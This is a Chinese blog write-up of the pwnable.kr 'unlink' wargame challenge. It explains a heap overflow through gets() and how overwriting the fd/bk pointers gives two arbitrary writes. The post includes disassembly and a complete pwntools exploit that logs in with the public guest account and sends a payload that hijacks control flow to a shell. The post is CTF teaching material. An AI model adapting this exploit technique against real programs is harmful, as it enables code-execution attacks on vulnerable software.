zoukankan      html  css  js  c++  java
  • pwnable.kr之unlink

    pwnable.kr之unlink

    之前在看别的东西,学习的随笔也没有写完......颓了几天。

    由于最近在看堆,就把pwnable.kr上unlink这道题做一下,学习一下。

    1.程序分析

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    typedef struct tagOBJ{
        struct tagOBJ* fd;
        struct tagOBJ* bk;
        char buf[8];
    }OBJ;
    
    void shell(){
        system("/bin/sh");
    }
    
    void unlink(OBJ* P){
        OBJ* BK;
        OBJ* FD;
        BK=P->bk;
        FD=P->fd;
        FD->bk=BK;
        BK->fd=FD;
    }
    int main(int argc, char* argv[]){
        malloc(1024);
        OBJ* A = (OBJ*)malloc(sizeof(OBJ));
        OBJ* B = (OBJ*)malloc(sizeof(OBJ));
        OBJ* C = (OBJ*)malloc(sizeof(OBJ));
    
        // double linked list: A <-> B <-> C
        A->fd = B;
        B->bk = A;
        B->fd = C;
        C->bk = B;
    
        printf("here is stack address leak: %p
    ", &A);
        printf("here is heap address leak: %p
    ", A);
        printf("now that you have leaks, get shell!
    ");
        // heap overflow!
        gets(A->buf);
    
        // exploit this unlink!
        unlink(B);
        return 0;
    }

    给出的源码如下。程序实现了一个结构体,指针域是两个指针,数据域是一个8字节大小的字符数组,其实就是模拟了一个chunk块,后面的unlink函数模拟了早期glibc中unlink函数解链表的形式。

    程序的结尾有一个gets函数,向结构体A的buf中填充数据,可以看到这里对输入数据的大小没有做检查,所以存在堆溢出,我们应该可以覆盖B结构体的fd指针和bk指针。

    这里泄露出了A在栈中的地址,以及A的堆地址。

    gdb中调试一下,在输入‘abcd’之后,断点设在unlink函数中,A->buf地址保留在eax寄存器中,查看堆布局如下:

    0x804b5b0是结构体A的首地址,可以看到,A的bk指针指向B,C的fd指针指向B。

    unlink实现的功能其实入下:

    P->fd->bk=P->bk
    P->bk->fd=P->fd

    覆盖B的bk和fd指针,可以进行两次任意写。IDA中伪代码如下:

       0x8048539 <main+10>:    push   ebp
       0x804853a <main+11>:    mov    ebp,esp
       0x804853c <main+13>:    push   ecx
    => 0x804853d <main+14>:    sub    esp,0x14
       0x8048540 <main+17>:    sub    esp,0xc
       0x8048543 <main+20>:    push   0x400
       0x8048548 <main+25>:    call   0x80483a0 <malloc@plt>
       0x804854d <main+30>:    add    esp,0x10
       0x8048550 <main+33>:    sub    esp,0xc
       0x8048553 <main+36>:    push   0x10
       0x8048555 <main+38>:    call   0x80483a0 <malloc@plt>
       0x804855a <main+43>:    add    esp,0x10
       0x804855d <main+46>:    mov    DWORD PTR [ebp-0x14],eax
       0x8048560 <main+49>:    sub    esp,0xc
       0x8048563 <main+52>:    push   0x10
       0x8048565 <main+54>:    call   0x80483a0 <malloc@plt>
       0x804856a <main+59>:    add    esp,0x10
       0x804856d <main+62>:    mov    DWORD PTR [ebp-0xc],eax
       0x8048570 <main+65>:    sub    esp,0xc
       0x8048573 <main+68>:    push   0x10
       0x8048575 <main+70>:    call   0x80483a0 <malloc@plt>
       0x804857a <main+75>:    add    esp,0x10
       0x804857d <main+78>:    mov    DWORD PTR [ebp-0x10],eax
       0x8048580 <main+81>:    mov    eax,DWORD PTR [ebp-0x14]
       0x8048583 <main+84>:    mov    edx,DWORD PTR [ebp-0xc]
       0x8048586 <main+87>:    mov    DWORD PTR [eax],edx
       0x8048588 <main+89>:    mov    edx,DWORD PTR [ebp-0x14]
       0x804858b <main+92>:    mov    eax,DWORD PTR [ebp-0xc]
       0x804858e <main+95>:    mov    DWORD PTR [eax+0x4],edx
       0x8048591 <main+98>:    mov    eax,DWORD PTR [ebp-0xc]
       0x8048594 <main+101>:    mov    edx,DWORD PTR [ebp-0x10]
       0x8048597 <main+104>:    mov    DWORD PTR [eax],edx
       0x8048599 <main+106>:    mov    eax,DWORD PTR [ebp-0x10]
       0x804859c <main+109>:    mov    edx,DWORD PTR [ebp-0xc]
       0x804859f <main+112>:    mov    DWORD PTR [eax+0x4],edx
       0x80485a2 <main+115>:    sub    esp,0x8
       0x80485a5 <main+118>:    lea    eax,[ebp-0x14]
       0x80485a8 <main+121>:    push   eax
       0x80485a9 <main+122>:    push   0x8048698
       0x80485ae <main+127>:    call   0x8048380 <printf@plt>
       0x80485b3 <main+132>:    add    esp,0x10
       0x80485b6 <main+135>:    mov    eax,DWORD PTR [ebp-0x14]
       0x80485b9 <main+138>:    sub    esp,0x8
       0x80485bc <main+141>:    push   eax
       0x80485bd <main+142>:    push   0x80486b8
       0x80485c2 <main+147>:    call   0x8048380 <printf@plt>
       0x80485c7 <main+152>:    add    esp,0x10
       0x80485ca <main+155>:    sub    esp,0xc
       0x80485cd <main+158>:    push   0x80486d8
       0x80485d2 <main+163>:    call   0x80483b0 <puts@plt>
       0x80485d7 <main+168>:    add    esp,0x10
       0x80485da <main+171>:    mov    eax,DWORD PTR [ebp-0x14]
       0x80485dd <main+174>:    add    eax,0x8
       0x80485e0 <main+177>:    sub    esp,0xc
       0x80485e3 <main+180>:    push   eax
       0x80485e4 <main+181>:    call   0x8048390 <gets@plt>
       0x80485e9 <main+186>:    add    esp,0x10
       0x80485ec <main+189>:    sub    esp,0xc
       0x80485ef <main+192>:    push   DWORD PTR [ebp-0xc]
       0x80485f2 <main+195>:    call   0x8048504 <unlink>
       0x80485f7 <main+200>:    add    esp,0x10
       0x80485fa <main+203>:    mov    eax,0x0
       0x80485ff <main+208>:    mov    ecx,DWORD PTR [ebp-0x4]
       0x8048602 <main+211>:    leave  
       0x8048603 <main+212>:    lea    esp,[ecx-0x4]
       0x8048606 <main+215>:    ret    

    主函数汇编代码如下。最后是把ecx-0x4=ebp-0x8地址处的值赋给了esp寄存器,ret把esp的值pop给eip寄存器。我们想要get shell,就要跳转到shell函数中,所以这里就要通过控制栈里的值来控制eip寄存器的值。

    A,B,C结构体地址在栈中的布局如下所示:

    我们要把shell函数的地址填充到ebp_0x8函数的地址处,也就是&A+0x12处。&A的地址,题目已经给我们了。

    所以这里主要的问题就是如何填充堆空间了,再来理解一下unlink函数实现的功能:

    假设我们把B的bk指针覆盖为“####”,fd指针覆盖为"$$$$",unlink函数就实现了一下功能:

    BK=*(B+4)=####,把“####”赋给BK

    FD=*(B)=$$$$,把“$$$$”赋给FD

    FD->bk=BK=*($$$$+4)="####",就是把“####”写入地址“$$$$+4”处

    BK->fd=*(####)="$$$$",就是把“$$$$”写入地址“####”处

       0x80485ff <main+208>:    mov    ecx,DWORD PTR [ebp-0x4]
       0x8048602 <main+211>:    leave  
       0x8048603 <main+212>:    lea    esp,[ecx-0x4]
       0x8048606 <main+215>:    ret    

    我们把ecx-4指向的地址处的值,要覆盖为&shell_addr+4。

    exp如下:

    from pwn import *
    
    context.log_level="debug"
    DEBUG=0
    if DEBUG:
        io=process('./unlink')
    else:
        sh=ssh(host='pwnable.kr',port=2222,user='unlink',password='guest')
        io=sh.run("./unlink")
    
    elf=ELF('./unlink')
    shell_addr=0x080484EC
    
    io.recvuntil("here is stack address leak: ")
    leak_stack=int(io.recv(10),16)
    print("stack_addr:{}".format(hex(leak_stack)))
    io.recvuntil("here is heap address leak: ")
    leak_heap=int(io.recv(10),16)
    print("heap_addr:{}".format(hex(leak_heap)))
    io.recvline()
    
    ebp_addr=leak_stack+0x14
    ecx_addr=ebp_addr-0x4
    padding='a'*8
    
    payload=p32(shell_addr)+'a'*4+padding+p32(leak_heap+12)+p32(ebp_addr-4)
    io.send(payload)
    io.interactive()
  • 相关阅读:
    JavaScript—飞机大战
    JavaScript—瀑布流
    JavaScript—原生轮播和无缝滚动
    JavaScript—封装animte动画函数
    JavaScript—offset、client、scroll
    JavaScript—对象创建方式
    JavaScript—var lef const区别
    P1352 没有上司的舞会 题解
    P1829 [国家集训队]Crash的数字表格 / JZPTAB 题解
    P2522 [HAOI2011]Problem b 题解
  • 原文地址:https://www.cnblogs.com/L0g4n-blog/p/13033301.html
Copyright © 2011-2022 走看看